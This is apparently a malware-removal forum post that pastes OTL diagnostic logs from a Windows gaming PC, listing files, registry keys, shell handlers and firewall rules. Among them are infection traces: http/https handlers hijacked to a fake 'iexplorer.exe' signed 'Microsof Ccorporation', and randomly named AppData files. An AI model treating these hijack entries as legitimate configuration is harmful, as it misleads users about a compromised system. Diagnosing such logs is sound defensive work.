[2015/05/20 03:18:12 | 000,286,720 | ---- | C] () -- C:\Windows\SysWow64\Okuseei.dll
[2015/04/19 05:20:16 | 000,005,872 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\QNjCoy1nBI46ZHQvVrS0S2M1
[2015/04/19 05:20:16 | 000,005,872 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\EXRoEAwr3fCGeUPmQCDQ
[2015/04/19 05:20:16 | 000,005,872 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\BhsNkuK2CRRkTE4YK7
[2015/04/19 05:20:16 | 000,005,872 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\AFbWqr51tde5uBDG35a1Ib3
[2015/04/14 09:28:56 | 000,004,387 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\W6Tv1eQMIyJWgWGh5iWLBuCnE
[2015/04/14 09:28:56 | 000,004,387 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\r7MsgNtm46xoVTew
[2015/04/14 09:28:56 | 000,004,387 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\fdeKe5p
[2015/04/14 09:28:56 | 000,004,387 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\EXRoEAwr3fCGeUPmQC
[2015/04/06 17:16:47 | 000,000,107 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\Editroid.config
[2015/04/03 02:18:54 | 000,000,132 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\Adobe BMP Format CS6 Prefs
[2015/03/31 22:17:09 | 000,000,132 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\Adobe Targa Format CS6 Prefs
[2015/03/18 04:18:33 | 000,000,132 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\Adobe PNG Format CS6 Prefs
[2015/02/26 01:20:07 | 000,001,665 | ---- | C] () -- C:\ProgramData\tempimage.bmp
[2014/11/21 02:16:51 | 000,046,080 | ---- | C] () -- C:\Windows\SysWow64\BWContextHandler.dll
[2014/11/21 02:15:14 | 000,107,008 | ---- | C] () -- C:\Windows\SysWow64\OEMLicense.dll
[2014/11/21 01:52:42 | 000,002,255 | ---- | C] () -- C:\Windows\SysWow64\WimBootCompress.ini
[2013/08/22 08:36:43 | 000,215,943 | ---- | C] () -- C:\Windows\SysWow64\dssec.dat
[2013/08/22 08:36:42 | 000,000,741 | ---- | C] () -- C:\Windows\SysWow64\NOISE.DAT
[2013/08/22 07:46:23 | 000,067,584 | --S- | C] () -- C:\Windows\bootstat.dat
[2013/08/22 00:01:23 | 000,043,131 | ---- | C] () -- C:\Windows\mib.bin
[2013/08/21 16:55:20 | 000,364,544 | ---- | C] () -- C:\Windows\SysWow64\msjetoledb40.dll
[2013/08/21 16:52:39 | 000,673,088 | ---- | C] () -- C:\Windows\SysWow64\mlang.dat
 
========== ZeroAccess Check ==========
 
[2015/02/26 19:42:33 | 000,000,227 | RHS- | M] () -- C:\Windows\assembly\Desktop.ini
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64
 
[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32] /64
 
[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64
"" = C:\Windows\SysNative\shell32.dll -- [2015/06/20 11:59:24 | 022,292,672 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment
 
[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shell32.dll -- [2015/06/20 11:59:24 | 019,734,960 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\fastprox.dll -- [2014/11/21 02:15:30 | 001,013,760 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free
 
[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = %systemroot%\system32\wbem\fastprox.dll -- [2014/11/21 02:16:30 | 000,786,944 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\wbemess.dll -- [2014/11/21 02:15:30 | 000,512,512 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both
 
[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]
 
========== Alternate Data Streams ==========
 
@Alternate Data Stream - 237 bytes -> C:\Users\mewtw_000\OneDrive:ms-properties
@Alternate Data Stream - 116 bytes -> C:\ProgramData\TEMP:56E2E879

< End of report >

 

and the extra's file

 

OTL Extras logfile created on: 7/29/2015 10:13:51 PM - Run 1
OTL by OldTimer - Version 3.2.69.0     Folder = C:\Users\mewtw_000\Desktop
64bit- An unknown product  (Version = 6.2.9200) - Type = NTWorkstation
Internet Explorer (Version = 9.11.9600.17905)
Locale: 00000409 | Country: United States | Language: ENU | Date Format: M/d/yyyy
 
7.97 Gb Total Physical Memory | 4.59 Gb Available Physical Memory | 57.60% Memory free
9.22 Gb Paging File | 4.84 Gb Available in Paging File | 52.54% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]
 
%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files (x86)
Drive C: | 931.17 Gb Total Space | 373.11 Gb Free Space | 40.07% Space Free | Partition Type: NTFS
Drive D: | 931.48 Gb Total Space | 183.63 Gb Free Space | 19.71% Space Free | Partition Type: NTFS
 
Computer Name: GAMERPC2 | User Name: mewtw_000 | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: Current user | Include 64bit Scans
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days
 
========== Extra Registry (SafeList) ==========
 
 
========== File Associations ==========
 
[b]64bit: [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<extension>]
.html[@ = htmlfile] -- C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)
.url[@ = InternetShortcut] -- C:\Windows\SysNative\rundll32.exe (Microsoft Corporation)
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<extension>]
.cpl [@ = cplfile] -- C:\Windows\SysWow64\control.exe (Microsoft Corporation)
.html [@ = htmlfile] -- C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)
 
========== Shell Spawning ==========
 
[b]64bit: [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<key>\shell\[command]\command]
batfile [open] -- "%1" %*
cmdfile [open] -- "%1" %*
comfile [open] -- "%1" %*
exefile [open] -- "%1" %*
helpfile [open] -- Reg Error: Key error.
htmlfile [edit] -- Reg Error: Key error.
htmlfile [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [opennew] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [print] -- "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"
http [open] -- "C:\Program Files (x86)\Internet Explorer 11\iexplorer.exe" "%1" (Microsof Ccorporation)
https [open] -- "C:\Program Files (x86)\Internet Explorer 11\iexplorer.exe" "%1" (Microsof Ccorporation)
inffile [install] -- %SystemRoot%\System32\InfDefaultInstall.exe "%1" (Microsoft Corporation)
InternetShortcut [open] -- "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l (Microsoft Corporation)
InternetShortcut [print] -- "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" (Microsoft Corporation)
piffile [open] -- "%1" %*
regfile [merge] -- Reg Error: Key error.
scrfile [config] -- "%1"
scrfile [install] -- rundll32.exe desk.cpl,InstallScreenSaver %l
scrfile [open] -- "%1" /S
txtfile [edit] -- Reg Error: Key error.
Unknown [openas] -- %SystemRoot%\system32\OpenWith.exe "%1" (Microsoft Corporation)
Directory [Bridge] -- C:\Program Files\Adobe\Adobe Bridge CS6 (64 Bit)\Bridge.exe "%L" (Adobe Systems, Inc.)
Directory [cmd] -- cmd.exe /s /k pushd "%V" (Microsoft Corporation)
Directory [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Directory [Winamp.Bookmark] -- "C:\Program Files (x86)\Winamp\winamp.exe" /BOOKMARK "%1" (Nullsoft, Inc.)
Directory [Winamp.Enqueue] -- "C:\Program Files (x86)\Winamp\winamp.exe" /ADD "%1" (Nullsoft, Inc.)
Directory [Winamp.Play] -- "C:\Program Files (x86)\Winamp\winamp.exe" "%1" (Nullsoft, Inc.)
Folder [open] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [explore] -- Reg Error: Value error.
Drive [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Applications\iexplore.exe [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
CLSID\{871C5380-42A0-1069-A2EA-08002B30309D} [OpenHomePage] -- "C:\Program Files\Internet Explorer\iexplore.exe" (Microsoft Corporation)
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<key>\shell\[command]\command]
batfile [open] -- "%1" %*
cmdfile [open] -- "%1" %*
comfile [open] -- "%1" %*
cplfile [cplopen] -- %SystemRoot%\System32\control.exe "%1",%* (Microsoft Corporation)
exefile [open] -- "%1" %*
helpfile [open] -- Reg Error: Key error.
htmlfile [edit] -- Reg Error: Key error.
htmlfile [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [opennew] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [print] -- "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"
http [open] -- "C:\Program Files (x86)\Internet Explorer 11\iexplorer.exe" "%1" (Microsof Ccorporation)
https [open] -- "C:\Program Files (x86)\Internet Explorer 11\iexplorer.exe" "%1" (Microsof Ccorporation)
inffile [install] -- %SystemRoot%\System32\InfDefaultInstall.exe "%1" (Microsoft Corporation)
piffile [open] -- "%1" %*
regfile [merge] -- Reg Error: Key error.
scrfile [config] -- "%1"
scrfile [install] -- rundll32.exe desk.cpl,InstallScreenSaver %l
scrfile [open] -- "%1" /S
txtfile [edit] -- Reg Error: Key error.
Unknown [openas] -- %SystemRoot%\system32\OpenWith.exe "%1" (Microsoft Corporation)
Directory [Bridge] -- C:\Program Files\Adobe\Adobe Bridge CS6 (64 Bit)\Bridge.exe "%L" (Adobe Systems, Inc.)
Directory [cmd] -- cmd.exe /s /k pushd "%V" (Microsoft Corporation)
Directory [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Directory [Winamp.Bookmark] -- "C:\Program Files (x86)\Winamp\winamp.exe" /BOOKMARK "%1" (Nullsoft, Inc.)
Directory [Winamp.Enqueue] -- "C:\Program Files (x86)\Winamp\winamp.exe" /ADD "%1" (Nullsoft, Inc.)
Directory [Winamp.Play] -- "C:\Program Files (x86)\Winamp\winamp.exe" "%1" (Nullsoft, Inc.)
Folder [open] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [explore] -- Reg Error: Value error.
Drive [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Applications\iexplore.exe [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
CLSID\{871C5380-42A0-1069-A2EA-08002B30309D} [OpenHomePage] -- Reg Error: Value error.
 
========== Security Center Settings ==========
 
[b]64bit: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center]
"cval" = 1
 
[b]64bit: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring]
 
[b]64bit: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc]
"VistaSp1" = AC 1C AE C5 46 9F CE 01  [binary data]
"AntiVirusOverride" = 0
"AntiSpywareOverride" = 0
"FirewallOverride" = 0
 
[b]64bit: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc\Upgrade]
"UpgradeTime" =  [binary data]
 
[b]64bit: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc\Vol]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc\Upgrade]
"UpgradeTime" = Reg Error: Unknown registry data type -- File not found
 
========== Firewall Settings ==========
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile]
"EnableFirewall" = 1
"DisableNotifications" = 0
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"EnableFirewall" = 1
"DisableNotifications" = 0
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile]
"EnableFirewall" = 1
"DisableNotifications" = 0
 
========== Authorized Applications List ==========
 
 
========== Vista Active Open Ports Exception List ==========
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
"{0710D756-2EB1-48AC-A5DB-010C3A11C92E}" = rport=10243 | protocol=6 | dir=out | app=system |
"{1467C3A1-6ADF-4FE1-B1A7-CE60CD4FC301}" = lport=138 | protocol=17 | dir=in | app=system |
"{2ED2D76D-CA1A-4868-8602-5E247D4D5504}" = lport=35043 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{38D12AA9-D0AF-4353-9B93-B906AB351657}" = rport=1900 | protocol=17 | dir=out | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe |
"{3A3A8F02-0E17-4635-B988-7236769D55A5}" = lport=10243 | protocol=6 | dir=in | app=system |
"{4C940E0B-5BE6-45A9-ABC3-02901BD2C551}" = lport=5353 | protocol=17 | dir=in | name=bonjour port 5353 |
"{574B35F4-3DB6-44C9-B4A3-AA4ADCF37D08}" = lport=2869 | protocol=6 | dir=in | app=system |
"{57AC1ED1-C87B-4EDD-9BC8-185307BD8FCD}" = lport=rpc | protocol=6 | dir=in | svc=spooler | app=%systemroot%\system32\spoolsv.exe |
"{656027E3-B5EA-4395-9754-84F15DD7F8AD}" = lport=2177 | protocol=17 | dir=in | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{714C66A2-B12F-4933-82AD-16B397847ECE}" = lport=137 | protocol=17 | dir=in | app=system |
"{7D780C0A-5073-460B-97ED-F233B8C2AF54}" = lport=5353 | protocol=17 | dir=in | app=c:\program files (x86)\google\chrome\application\chrome.exe |
"{803151BC-BBF6-4FC6-93FB-6A8292220B06}" = rport=138 | protocol=17 | dir=out | app=system |
"{80F29246-8E55-43BD-88C4-5FF890C74761}" = rport=139 | protocol=6 | dir=out | app=system |
"{84DEE730-A1DA-476C-AB6B-E8A60471D84E}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamnetworkservice.exe |
"{86745690-B8BC-42D6-99BE-483BEE818C01}" = lport=2177 | protocol=6 | dir=in | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{86C4A9DD-81F1-43FA-A665-AF9DEDFF22BA}" = lport=1900 | protocol=17 | dir=in | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe |
"{9090E524-0C38-4B20-8543-3ABB78B9D367}" = lport=4000 | protocol=6 | dir=out | app=c:\program files (x86)\dll-files.com fixer\dllfixer.exe |
"{91063A28-FC2E-4F26-AF1D-0D61500FE618}" = lport=47984 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamnetworkservice.exe |
"{987587B9-07BB-4858-B429-AF0A3207BEC0}" = rport=5355 | protocol=17 | dir=out | svc=dnscache | app=%systemroot%\system32\svchost.exe |
"{9A76D065-416D-46E6-B95B-F197C3158D64}" = lport=80 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{9FD1F392-90F6-4413-8337-EB2F647B1C4E}" = rport=445 | protocol=6 | dir=out | app=system |
"{A0C0BD12-314F-47C4-B482-6F7EA4825705}" = rport=2177 | protocol=17 | dir=out | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{A7FA8026-CB77-4E00-8F9F-602696E669EF}" = lport=47995 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{AAACF30C-9589-47B9-BD14-6F5F712E496D}" = lport=5355 | protocol=17 | dir=in | svc=dnscache | app=%systemroot%\system32\svchost.exe |
"{B30F9923-DC86-4CB7-9793-B6C0A72D213C}" = lport=5355 | protocol=17 | dir=in | svc=dnscache | app=%systemroot%\system32\svchost.exe |
"{BA39C6B1-48AB-4C84-A7BA-5B49971B1ABA}" = lport=4000 | protocol=6 | dir=out | app=c:\program files (x86)\dll-files.com fixer\dllfixer.exe |
"{C4E47438-E166-4C13-BB3C-4F6ACCEE1EF3}" = lport=rpc-epmap | protocol=6 | dir=in | svc=rpcss | [email protected],-28539 |
"{C58EEE49-28F4-4129-AD27-1586EC700328}" = lport=443 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{D22AE5BC-1019-4F4C-A7AC-18C39118D4B7}" = lport=445 | protocol=6 | dir=in | app=system |
"{D5DDB995-D9B7-4AE7-8863-5A7E4BD25EE0}" = lport=47998 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamuseragent.exe |
"{DDDA58CC-8ABC-4833-AD22-D231BCBA9990}" = rport=2177 | protocol=6 | dir=out | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{E0AAC4A7-1ABE-44B8-B862-DA2ADDDC63CD}" = rport=5355 | protocol=17 | dir=out | svc=dnscache | app=%systemroot%\system32\svchost.exe |
"{EFCB8DAA-B6C7-4E29-9CE5-A6F61FEA7DF8}" = lport=4000 | protocol=6 | dir=out | app=c:\program files (x86)\dll-files.com fixer\dllfixer.exe |
"{F0291084-BDDF-43B4-9F94-7F5D06D7F99F}" = lport=139 | protocol=6 | dir=in | app=system |
"{F8359784-ED5B-49B3-9205-CD832F36C408}" = rport=137 | protocol=17 | dir=out | app=system |
 
========== Vista Active Application Exception List ==========
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
"{0001859B-2511-4772-A516-15297CFE80D6}" = dir=in | name=onenote |
"{034D3520-1B96-44E1-87EB-EC0E554076B3}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\oblivion\oblivionlauncher.exe |
"{041A402A-AB15-4973-B568-F3E484F60BD4}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\saints row the third\saintsrowthethird_dx11.exe |
"{076A7067-C5D7-456F-86DA-A692201DB43C}" = dir=out | [email protected]{microsoft.binghealthandfitness_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.binghealthandfitness/resources/apptitle} |
"{07A3FCC9-4B73-4B20-A067-F4E0960B0FBB}" = dir=in | [email protected]{microsoft.windowsreadinglist_6.3.9654.20540_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowsreadinglist/resources/apppackagename} |
"{0B8225D4-33AB-4AD5-93DF-D74D76F2B5B8}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\final fantasy iv\ff4_launcher.exe |
"{0B840A32-32C7-442A-92AD-E3B299803216}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\duke nukem 3d\bin\build.exe |
"{0CD153C0-F545-4D04-8601-055D9B5943DE}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\saints row the third\game_launcher.exe |
"{0D716CDF-215F-4736-BD25-3BBDB063986B}" = dir=out | name=skype |
"{0E562ECA-7A20-41D6-AFB3-5A8D839CD0DD}" = dir=in | [email protected]{microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowscommunicationsapps/resources/communicationspackagename} |
"{0EDA113C-D5F4-4BED-8678-18BC4559BAC3}" = dir=out | [email protected]{microsoft.bingfinance_3.0.4.298_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingfinance/resources/brandedapptitle} |
"{1015BBBE-C060-411D-98F5-102CE561E648}" = dir=in | name=microsoft solitaire collection |
"{1158123D-65E5-4A4B-B8D6-4F2461D83FF4}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\skyrim\skyrimlauncher.exe |
"{14C8DF78-720B-4E1F-AAFE-2774E73026BB}" = protocol=17 | dir=in | app=%programfiles(x86)%\windows media player\wmplayer.exe |
"{1619B9AE-99B1-4CDB-9AC2-5F1743B56E81}" = dir=out | [email protected]{microsoft.zunevideo_2.6.441.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.zunevideo/resources/ids_manifest_video_app_name} |
"{1A8F6CC4-B6D0-47F8-9667-A4E03C29844B}" = dir=in | name=onenote |
"{1B1F8664-731B-4149-B989-B4F199CA97DA}" = dir=out | name=skype |
"{1B625BE6-00C4-4699-AE6A-8D2B7A90FAF4}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\injusticegodsamongus_ultimateedition\disccontentpcg\injustice.exe |
"{1B6EFD74-2851-465E-836D-01E0EB0D9EA4}" = dir=in | name=xbox one smartglass |
"{1CADA9A5-3F3C-4E21-B916-E49A4022F839}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\saints row the third\saintsrowthethird.exe |
"{2108DC31-62B4-48DD-A694-94748BB76C29}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\duke nukem 3d\bin\dosbox\dosbox.exe |
"{22AB0CBC-E881-47EC-91C3-2453BE9E737F}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\bionic commando rearmed\bcr.exe |
"{240B1C43-3DC5-4C08-B162-9FDDE95239CF}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\morrowind\morrowind launcher.exe |
"{2484E455-BF9B-4462-B85E-B753EECB51D2}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\sonic the hedgehog 4 - ep 2\launcher.exe |
"{25DAB472-835D-4302-8E69-6420CF24176E}" = dir=out | name=iheartradio |
"{265FBB80-C2C6-49CE-AEDD-8359FF2E3732}" = dir=out | name=onenote |
"{26677602-821E-4FC6-AFED-EE3F409D7A64}" = dir=out | [email protected]{microsoft.bingnews_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingnews/resources/brandedapptitle} |
"{26831039-0583-4FE5-AD3F-914C6F6BA1AB}" = dir=in | name=skype |
"{26B88CE1-20A9-495A-88D5-52C45A081D4B}" = dir=out | [email protected]{microsoft.bingweather_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingweather/resources/brandedapptitle} |
"{28988504-8396-41DA-9E64-2DBEDBCFA67B}" = dir=out | name=tunein radio |
"{2932D5AC-CA0A-48AA-953F-9B0977E95BFC}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\garrysmod\hl2.exe |
"{2B11F38A-6652-4DB9-847C-4407A61C3A08}" = protocol=17 | dir=in | app=c:\program files (x86)\aim\aim.exe |
"{2D342E09-4D10-472B-AD62-1D0630DFEEF4}" = dir=out | [email protected]{microsoft.bingweather_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingweather/resources/brandedapptitle} |
"{2D81B2EE-1172-4176-883B-AADBB16DADFD}" = dir=out | [email protected]{microsoft.bingmaps_2.1.3230.2048_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingmaps/resources/appdisplayname} |
"{2E3D611B-3044-4501-9001-3ED8C221BC3C}" = dir=in | [email protected]{microsoft.xboxcompanion_1.4.3.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.xboxcompanion/resources/33279} |
"{2E794002-76B4-4500-AAC5-1C86BB3F4EE9}" = dir=out | [email protected]{microsoft.bingtravel_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingtravel/resources/brandedapptitle} |
"{2EC2DD5F-9964-4325-8BB4-7D99DBB89313}" = dir=out | [email protected]{microsoft.bingfoodanddrink_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingfoodanddrink/resources/apptitlewithbranding} |
"{2F1FF4EA-A504-471B-A36B-E6FE6117D4E1}" = protocol=6 | dir=in | app=c:\program files (x86)\aim\aim.exe |
"{2FC322A1-A7EE-4C05-8FE4-962FB1375601}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\duke nukem 3d\bin\dosbox\dosbox.exe |
"{3143F81B-0234-4C2C-AC51-9217438FA493}" = dir=out | name=onenote |
"{31569E76-7713-419C-B730-A7D29C864D00}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\dc universe online\unreal3\binaries\win32\dcgame.exe |
"{3289DC99-9EEF-4905-BD7C-3394A38B7069}" = dir=out | [email protected]{microsoft.zunevideo_2.6.441.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.zunevideo/resources/ids_manifest_video_app_name} |
"{33FFE9D8-C1D1-4D3A-835E-C1BDAA45034D}" = dir=out | [email protected]{microsoft.bingsports_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingsports/resources/brandedapptitle} |
"{34D31417-5143-45D2-AFB8-11604AB77CEC}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil 5\re5dx9.exe |
"{352BF1DF-826A-4875-AB94-73597FFFD847}" = dir=out | [email protected]{microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowscommunicationsapps/resources/communicationspackagename} |
"{35715956-9201-4009-9F79-BC196446FA7A}" = protocol=58 | dir=in | [email protected],-28545 |
"{363BA00A-CDED-40F3-BDAB-CDCEEF850AB7}" = dir=out | [email protected]{microsoft.bingfinance_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.bingfinance/resources/brandedapptitle} |
"{365C0D2D-648E-4737-9E42-731EA07F4B3C}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\saints row the third\saintsrowthethird_dx11.exe |
"{390757D0-9DC5-4569-972B-992A33652EDD}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\injusticegodsamongus_ultimateedition\disccontentpcg\injustice.exe |
"{3947A6CF-DDC9-4FEF-A7A7-49470B7B7BD5}" = protocol=6 | dir=in | app=%programfiles%\windows media player\wmpnetwk.exe |
"{3C1BD6F9-59D8-4E9E-8E6A-898076DD728E}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\duke nukem 3d\bin\dosbox\dosbox.exe |
"{3D07D0EB-09FB-4501-94A1-76F47708D265}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{3E717FBA-7949-4AEF-9108-AEAF5F3757DE}" = dir=in | name=skype |
"{3EFFAD92-D0A0-484F-8638-02DC814512BA}" = dir=out | [email protected]{microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowscommunicationsapps/resources/communicationspackagename} |
"{3F629383-8590-4677-BB22-BA267B16F53A}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\saints row iv\saintsrowiv.exe |
"{3FBABC89-7DE4-46E9-A109-916B6AFBE887}" = dir=in | [email protected]{microsoft.windowsreadinglist_6.3.9654.20540_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowsreadinglist/resources/apppackagename} |
"{41887348-6DF8-47E8-B3C7-6B4A345B86FB}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\team fortress 2\hl2.exe |
"{41AE345D-22F9-4CC6-8F03-99C56179E4CF}" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\fallout new vegas\falloutnvlauncher.exe |
"{4221574F-32A1-45D8-BDC1-B45A54EAFC3C}" = dir=out | [email protected]{microsoft.binghealthandfitness_3.0.4.336_x64__8wekyb3d8bbwe?ms-resource://microsoft.binghealthandfitness/resources/apptitle} |
"{4282FE99-8560-4BC7-9576-5F3ED84E263F}" = dir=in | name=checkpoint.vpn |
"{4341DB99-0146-42AF-92C7-5F9069122E7B}" = dir=in | name=onenote |
"{4715D0BC-4353-466E-BC0E-DEB48BA0F457}" = dir=out | name=xbox one smartglass |
"{48D28748-88AF-47D0-9AC8-162ED546E65A}" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil 5\launcher.exe |
